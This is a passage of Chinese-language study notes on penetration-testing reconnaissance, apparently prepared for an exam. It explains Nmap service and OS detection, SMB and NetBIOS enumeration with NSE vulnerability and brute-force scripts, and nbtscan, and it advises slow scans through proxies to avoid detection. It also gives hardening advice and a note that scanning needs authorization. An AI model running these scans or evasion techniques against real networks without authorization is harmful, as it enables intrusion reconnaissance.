&lt;p&gt;&lt;code&gt;--version-light&lt;/code&gt;: 等同于 &lt;code&gt;--version-intensity 2&lt;/code&gt;。更快但准确性略低的轻量级版本探测。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--version-all&lt;/code&gt;: 等同于 &lt;code&gt;--version-intensity 9&lt;/code&gt;。最彻底但也最慢。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-O&lt;/code&gt; (操作系统检测): &lt;strong&gt;尝试检测目标主机的操作系统&lt;/strong&gt;。需要管理员/ROOT权限 (&lt;code&gt;sudo&lt;/code&gt;)。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;重要用法与技巧总结：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;命令组合：&lt;/strong&gt; 可以将多个步骤合并成一条命令，提高效率：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;一步到位扫主机+端口：&lt;/strong&gt; &lt;code&gt;sudo nmap -sn -p- --open 192.168.1.0/24&lt;/code&gt; (不推荐，主机发现后每个主机都扫全端口太耗时，适合小网络或有目标主机范围)。更常见的是先扫主机 (&lt;code&gt;-sn&lt;/code&gt;)，然后对发现的单个或少量主机扫端口 (&lt;code&gt;-p- --open&lt;/code&gt;)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;一步到位扫端口+版本：&lt;/strong&gt; &lt;code&gt;sudo nmap -p- --open -sV 192.168.1.1&lt;/code&gt; (最常用组合之一：扫描所有开放端口并检测服务版本)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;一步到位全面扫描：&lt;/strong&gt; &lt;code&gt;sudo nmap -sV -sC -O --open -p- 192.168.1.1&lt;/code&gt; (相当于 &lt;code&gt;-A&lt;/code&gt; 加上 &lt;code&gt;-p-&lt;/code&gt; 和 &lt;code&gt;--open&lt;/code&gt;，非常全面但动静大、时间长)。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;输出结果：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-oN &amp;lt;filename&amp;gt;&lt;/code&gt;: 输出结果到普通文本文件。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-oX &amp;lt;filename&amp;gt;&lt;/code&gt;: 输出结果到 XML 文件 (便于解析和处理)。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-oG &amp;lt;filename&amp;gt;&lt;/code&gt;: 输出结果到“Grepable”格式 (旧格式，不太推荐用，但便于快速命令行过滤)。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-v&lt;/code&gt; / &lt;code&gt;-vv&lt;/code&gt;: 增加输出的详细程度，显示更多扫描过程信息。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;性能与隐秘性 (考试尤其注意！)：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-T&amp;lt;0-5&amp;gt;&lt;/code&gt;: &lt;strong&gt;时序模板&lt;/strong&gt;。控制扫描速度/攻击性。&lt;code&gt;-T0&lt;/code&gt; (偏执级，极慢极隐蔽) 到 &lt;code&gt;-T5&lt;/code&gt; (疯狂级，极快极明显)。&lt;strong&gt;考试常用 &lt;code&gt;-T4&lt;/code&gt; (激进级，速度较快，默认是 &lt;code&gt;-T3&lt;/code&gt; 正常级)&lt;/strong&gt;。避免太慢导致任务无法完成。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--min-rate &amp;lt;number&amp;gt;&lt;/code&gt;, &lt;code&gt;--max-rate &amp;lt;number&amp;gt;&lt;/code&gt;: 精确控制每秒发送包的最小/最大值。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--max-parallelism &amp;lt;number&amp;gt;&lt;/code&gt;: 控制最大并发探针数量。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-Pn&lt;/code&gt; (No Ping): &lt;strong&gt;将所有主机视为在线，跳过主机发现阶段直接扫描端口&lt;/strong&gt;。在已知主机在线或目标防火墙禁用了 PING 响应时使用（在渗透测试扫描中很常用）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-n&lt;/code&gt; (No DNS resolution): 不进行 DNS 反向解析，加快速度。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="端口服务探测方法的比较与考试建议"&gt;端口服务探测方法的比较与考试建议
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Nmap (&lt;code&gt;-sV&lt;/code&gt;) 的优势与原理：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;核心方法：&lt;/strong&gt; 主要通过发送特定的网络层探测包（例如 TCP SYN、ACK 等）并分析响应（包括 Banner、协议行为、服务指纹特征）来识别服务。&lt;/li&gt;
&lt;li&gt;准确性：
&lt;ul&gt;
&lt;li&gt;在常见服务识别上&lt;strong&gt;非常准确&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;特别适用于&lt;strong&gt;网络层&lt;/strong&gt;的判断（端口状态、协议、基础服务识别）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;限制：&lt;/strong&gt; 探测深度主要停留在&lt;strong&gt;网络层/传输层&lt;/strong&gt;，缺乏对复杂&lt;strong&gt;应用层协议逻辑&lt;/strong&gt;的深入交互测试。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;提高精度：MSF 模块的应用&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;原理：&lt;/strong&gt; Metasploit (MSF) 框架提供专门的服务扫描模块。这些模块会模拟客户端行为，发送特定于应用层协议（如 HTTP、FTP、SMB 等）的合法或试探性请求。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优势：&lt;/strong&gt; 由于深入到了&lt;strong&gt;应用层交互&lt;/strong&gt;，探测结果通常比 Nmap &lt;code&gt;-sV&lt;/code&gt; 的&lt;strong&gt;精度更高&lt;/strong&gt;、&lt;strong&gt;信息更详细&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;适用场景：&lt;/strong&gt; 需要极高精度判断服务及版本时。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;考试环境的关键考量：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;MSF 的使用限制：&lt;/strong&gt; 考试通常&lt;strong&gt;禁止或严格限制&lt;/strong&gt;使用 MSF 或类似的渗透测试框架（即使仅用于信息收集扫描）。&lt;/li&gt;
&lt;li&gt;Nmap 的适用性：
&lt;ul&gt;
&lt;li&gt;考试环境下，&lt;strong&gt;Nmap (&lt;code&gt;-sV&lt;/code&gt;) 足以满足需求&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原因1：&lt;/strong&gt; 其准确性在考试要求范围内&lt;strong&gt;有保障&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原因2：&lt;/strong&gt; 考试“靶机”&lt;strong&gt;通常不对 Nmap 探测做特别复杂的屏蔽或干扰&lt;/strong&gt;（不像真实环境可能配置 IDS/IPS 或修改服务响应）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;流量控制：&lt;/strong&gt; 务必注意扫描时的&lt;strong&gt;流量大小&lt;/strong&gt;，避免触发目标系统的安全机制或对网络造成过大负载。&lt;strong&gt;强烈建议使用代理或代理池&lt;/strong&gt;进行扫描（尤其在模拟生产环境或有流量监控的场景）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="重要原则与警示"&gt;重要原则与警示
&lt;/h3&gt;&lt;p&gt;破除端口固化思维：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;端口号 ≠ 服务类型：&lt;/strong&gt; 管理员可以自定义端口（如 FTP 不一定在 21，SSH 不一定在 22）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例:&lt;/strong&gt; 80 端口上未必是 Web 服务 (HTTP/HTTPS)，也可能运行 FTP、SSH 或其他任何服务。技术上是完全可行的。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结论： 绝不能仅凭端口号默认推断服务！&lt;/strong&gt; 必须依赖扫描工具的结果。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="核心结论针对考试"&gt;核心结论（针对考试）
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;首选工具：&lt;/strong&gt; Nmap (特别是 &lt;code&gt;-sV&lt;/code&gt; 参数)。&lt;/p&gt;
&lt;p&gt;原因：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;满足考试对服务识别的精度要求。&lt;/li&gt;
&lt;li&gt;易用且可靠。&lt;/li&gt;
&lt;li&gt;考试靶机环境对其友好，不易被阻碍。&lt;/li&gt;
&lt;li&gt;避免使用受限的 MSF。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;关键注意事项：&lt;/strong&gt; &lt;strong&gt;始终注意控制扫描流量&lt;/strong&gt;，建议通过代理执行扫描任务。&lt;/p&gt;
&lt;h2 id="smb枚举"&gt;SMB枚举
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;什么是 SMB？&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SMB（Server Message Block）&lt;/strong&gt;，也称为 &lt;strong&gt;CIFS（Common Internet File System）&lt;/strong&gt;，是一种&lt;strong&gt;网络文件共享协议&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;主要功能：&lt;/strong&gt; 允许网络中的计算机（客户端）访问服务器上的共享资源，如文件、打印机、串行端口等，以及执行远程管理任务。&lt;/li&gt;
&lt;li&gt;广泛应用：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Windows 核心服务：&lt;/strong&gt; 是 Windows 域环境、文件服务器、打印服务器的&lt;strong&gt;基础通信协议&lt;/strong&gt;。Windows 系统默认会启用 SMB 服务并开放相关端口。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;其他系统支持：&lt;/strong&gt; Linux 和 macOS 也提供了 Samba 软件或原生支持来充当 SMB 服务器或客户端，以实现与 Windows 系统的互操作性。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;安全性历史：
&lt;ul&gt;
&lt;li&gt;协议实现复杂且本身具有一定开放性，导致历史上存在&lt;strong&gt;大量高危漏洞&lt;/strong&gt;（例如著名的 EternalBlue / MS17-010）。&lt;/li&gt;
&lt;li&gt;早期系统（如 Windows 2000/XP）曾存在&lt;strong&gt;无需身份验证的“空会话”安全漏洞&lt;/strong&gt;（允许匿名访问）。&lt;/li&gt;
&lt;li&gt;随着时间推移，虽然进行了多次安全加固和补丁更新，但因其广泛部署和协议本身的复杂性，SMB 仍然是&lt;strong&gt;渗透测试和安全扫描的重点目标&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;SMB 通常开放哪些端口？&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;TCP 139:&lt;/strong&gt; 该端口用于在 &lt;strong&gt;NetBIOS over TCP/IP (NetBT)&lt;/strong&gt; 上运行的旧版 SMB 通信。这是早期 Windows 系统实现网络共享的方式。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TCP 445:&lt;/strong&gt; &lt;strong&gt;现代 SMB 协议使用的端口&lt;/strong&gt;。它直接在 TCP 上运行，不再依赖 NetBIOS。&lt;strong&gt;这是目前 Windows（Vista 及之后）和 Linux (Samba) 上 SMB 服务的主要端口&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;关键点：
&lt;ul&gt;
&lt;li&gt;在较新的 Windows 系统（Vista+）上，&lt;strong&gt;TCP 445 是主要的 SMB 端口&lt;/strong&gt;，TCP 139 有时可能出于兼容性而开启。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;仅看到 TCP 139/445 开放，即可高度怀疑主机上运行着 SMB 服务&lt;/strong&gt;（无论是 Windows 还是 Linux/Samba）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;如何使用 Nmap 扫描发现 SMB？&lt;/strong&gt;
识别 SMB 服务通常是你描述的“信息收集链条”中的一环（IP发现 -&amp;gt; 端口发现 -&amp;gt; 服务识别/版本确认 -&amp;gt; 漏洞探测）。针对 SMB 的具体扫描方法如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;基本端口扫描确认：&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -p139,445 --open &amp;lt;target_ip_or_range&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-p139,445&lt;/code&gt;: 明确扫描这两个 SMB 相关端口。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--open&lt;/code&gt;: 仅显示状态为 &lt;code&gt;open&lt;/code&gt; 的端口，过滤掉关闭或过滤的端口。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;此命令会告诉你目标主机上 139 和 445 端口是否开放。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250708205531129" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/25809ab601b18076b406a3460819644b.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;服务/版本探测（基本确认 SMB）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -p139,445 -sV &amp;lt;target_ip&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-sV&lt;/code&gt;: 启用版本探测功能。Nmap 会尝试连接这些端口，分析响应特征并匹配其服务指纹数据库。&lt;/li&gt;
&lt;li&gt;输出结果中，如果端口对应服务是 SMB，你会看到类似 &lt;code&gt;microsoft-ds?&lt;/code&gt; (445), &lt;code&gt;netbios-ssn?&lt;/code&gt; (139) 的初步信息。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nmap 的 &lt;code&gt;-sV&lt;/code&gt; 指纹识别非常准确，看到开放的 139/445 端口且 &lt;code&gt;-sV&lt;/code&gt; 识别出 &lt;code&gt;msrpc&lt;/code&gt;, &lt;code&gt;netbios-ssn&lt;/code&gt;, &lt;code&gt;microsoft-ds&lt;/code&gt;, &lt;code&gt;smb&lt;/code&gt; 等服务名，即可基本确认是 SMB。&lt;/strong&gt; &lt;code&gt;-sV&lt;/code&gt; 通常也能识别出&lt;strong&gt;操作系统类型&lt;/strong&gt;（Windows/Linux）和&lt;strong&gt;Samba的版本号&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;更深入的探测（强力扫描/Aggressive Scan）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -p139,445 -A &amp;lt;target_ip&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt; -A&lt;/code&gt; : 这是一个“强力”选项组合，等价于 &lt;code&gt;-sV -sC -O --traceroute&lt;/code&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-sV&lt;/code&gt;: 服务版本探测。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-sC&lt;/code&gt;: 运行默认的 &lt;strong&gt;Nmap 脚本引擎（NSE）脚本&lt;/strong&gt;进行扫描。对于 SMB 端口，默认脚本会尝试获取&lt;strong&gt;更多的信息&lt;/strong&gt;，如主机名（&lt;code&gt;smb-os-discovery.nse&lt;/code&gt;）、域信息、共享列表枚举（&lt;code&gt;smb-enum-shares.nse&lt;/code&gt;）等。它会&lt;strong&gt;自动调用一系列与 SMB 相关的安全、发现类脚本&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-O&lt;/code&gt;: 进行操作系统检测。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;这是&lt;strong&gt;一站式信息收集&lt;/strong&gt;的方式，提供关于 SMB 服务、主机操作系统及其配置&lt;strong&gt;最丰富的细节&lt;/strong&gt;（包括通过脚本获得的共享名等信息），但扫描&lt;strong&gt;速度较慢且产生的网络流量/噪音更大&lt;/strong&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;针对性 SMB 脚本扫描（灵活性最高）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -p445 --script smb-* &amp;lt;target_ip&amp;gt; # 运行所有名字以&amp;#34;smb-&amp;#34;开头的脚本（小心，很多！）
sudo nmap -p445 --script=&amp;#34;smb-os-discovery,smb-enum-shares,smb-vuln-*&amp;#34; &amp;lt;target_ip&amp;gt; # 更精准的选择
sudo nmap -p445 --script smb-protocols &amp;lt;target_ip&amp;gt; # 查询支持的SMB协议版本
sudo nmap -p445 --script &amp;#34;vuln and safe&amp;#34; &amp;lt;target_ip&amp;gt; # 运行所有标记为&amp;#34;vuln&amp;#34;(漏洞)和&amp;#34;safe&amp;#34;(不入侵)类别的脚本进行安全检查
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--script=&amp;lt;script_names&amp;gt;&lt;/code&gt;: 核心参数，允许&lt;strong&gt;精准指定要运行的 NSE 脚本&lt;/strong&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;对于 SMB，有大量预装的&lt;code&gt;smb-*&lt;/code&gt;脚本可用：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;信息枚举脚本：&lt;/strong&gt; &lt;code&gt;smb-os-discovery&lt;/code&gt; (操作系统/主机名/域), &lt;code&gt;smb-enum-shares&lt;/code&gt; (列出共享), &lt;code&gt;smb-enum-users&lt;/code&gt; (尝试枚举用户), &lt;code&gt;smb-system-info&lt;/code&gt; (更多系统信息), &lt;code&gt;smb-protocols&lt;/code&gt; (支持的 SMB 协议版本)。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;安全检查/漏洞扫描脚本：&lt;/strong&gt; &lt;code&gt;smb-vuln-ms17-010&lt;/code&gt; (永恒之蓝检查), &lt;code&gt;smb-vuln-cve2009-3103&lt;/code&gt;, &lt;code&gt;smb-vuln-*&lt;/code&gt; (针对各种 SMB 漏洞)。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;认证相关脚本：&lt;/strong&gt; &lt;code&gt;smb-brute&lt;/code&gt; (尝试暴力破解), &lt;code&gt;smb-enum-sessions&lt;/code&gt; (列出活动会话 - 需认证)。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;使用特定脚本可以提供&lt;strong&gt;最精确、最定制化的信息&lt;/strong&gt;，尤其是进行&lt;strong&gt;漏洞关联&lt;/strong&gt;（根据端口扫描得到的 SMB 版本信息，针对性运行对应的 &lt;code&gt;smb-vuln-*&lt;/code&gt; 脚本检查已知漏洞）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="netbios服务"&gt;NetBIOS服务
&lt;/h2&gt;&lt;h3 id="一核心协议与端口"&gt;&lt;strong&gt;一、核心协议与端口&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;strong&gt;协议/服务&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;传输层&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;端口&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;功能&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;NetBIOS&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;TCP&lt;/td&gt;
 &lt;td&gt;139&lt;/td&gt;
 &lt;td&gt;会话服务（主机间通信优化）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;/td&gt;
 &lt;td&gt;UDP&lt;/td&gt;
 &lt;td&gt;137&lt;/td&gt;
 &lt;td&gt;名称服务（主机名解析）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;/td&gt;
 &lt;td&gt;UDP&lt;/td&gt;
 &lt;td&gt;138&lt;/td&gt;
 &lt;td&gt;数据报服务（广播通信）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;SMB&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;TCP&lt;/td&gt;
 &lt;td&gt;445&lt;/td&gt;
 &lt;td&gt;文件/打印共享（现代独立协议）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;

 &lt;blockquote&gt;
 &lt;p&gt;📌 &lt;strong&gt;关键关系&lt;/strong&gt;：
现代 SMB（445/TCP）可脱离 NetBIOS 运行，但为兼容旧系统（如 Win NT），​&lt;strong&gt;​NBT（NetBIOS over TCP/IP）​&lt;/strong&gt;​ 常与 SMB 协同工作（139+445 共存）。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="二扫描场景与工具"&gt;&lt;strong&gt;二、扫描场景与工具&lt;/strong&gt;
&lt;/h3&gt;&lt;h3 id="1-端口扫描nmap"&gt;1. &lt;strong&gt;端口扫描（nmap）&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;目标&lt;/strong&gt;：探测 139/445 端口状态
​&lt;strong&gt;​命令​&lt;/strong&gt;​：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nmap -v -p139,445 -oG smb.txt 192.168.1.1-254
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;参数解析&lt;/strong&gt;：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;参数&lt;/th&gt;
 &lt;th&gt;作用&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-v&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;详细输出（显示实时进展）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-p139,445&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;指定扫描端口&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-oG smb.txt&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;输出可处理格式（Grepable）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;192.168.1.1-254&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;C 段 IP 扫描范围&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;输出分析&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Open&lt;/code&gt;：服务活跃（可能存在漏洞）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Filtered&lt;/code&gt;：防火墙阻断（需绕过）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-netbios-名称枚举nbtscan"&gt;2. &lt;strong&gt;NetBIOS 名称枚举（nbtscan）&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;目标&lt;/strong&gt;：通过 UDP 137 端口获取主机 NetBIOS 名称表
​&lt;strong&gt;​命令​&lt;/strong&gt;​：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo nbtscan -r 10.11.1.0/24
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;参数解析&lt;/strong&gt;：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;参数&lt;/th&gt;
 &lt;th&gt;作用&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-r&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;使用 UDP 137 查询名称服务&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;10.11.1.0/24&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;扫描网段&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;sudo&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;需 root 权限（Linux/Unix）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;输出解析&lt;/strong&gt;：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;192.168.1.101 MYPC &amp;lt;00&amp;gt; WORKGROUP File Server
192.168.1.102 DC-SERVER &amp;lt;20&amp;gt; DOMAIN Domain Controller
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;code&gt;&amp;lt;00&amp;gt;&lt;/code&gt;：工作站服务，&lt;code&gt;&amp;lt;20&amp;gt;&lt;/code&gt;：文件服务器，&lt;code&gt;&amp;lt;1B&amp;gt;&lt;/code&gt;：域主浏览器&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="三安全实践与注意事项"&gt;&lt;strong&gt;三、安全实践与注意事项&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;漏洞风险&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;139/445 端口开放&lt;/strong&gt;：易受永恒之蓝（MS17-010）、Pass the Hash 攻击&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NetBIOS 暴露&lt;/strong&gt;：主机名/工作组信息泄露（网络拓扑测绘）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;防护建议&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;关闭不必要的 NetBIOS 服务（&lt;code&gt;netsh int ipv4 set netbios disable&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;防火墙阻断外部访问 137-139/UDP 和 445/TCP&lt;/li&gt;
&lt;li&gt;升级 SMB 协议版本（禁用 SMBv1）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;扫描合规性&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;必须获得授权&lt;/strong&gt;：未经许可扫描可能触法&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;规避检测：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nmap -T2 -sS --script smb-security-mode -p445 target_ip 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 慢速扫描+SMB安全检测&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="四技术逻辑图"&gt;&lt;strong&gt;四、技术逻辑图&lt;/strong&gt;
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;graph LR
A[扫描目标] --&gt; B{端口探测}
B --&gt;|139/TCP| C[NetBIOS 会话服务]
B --&gt;|445/TCP| D[SMB 文件共享]
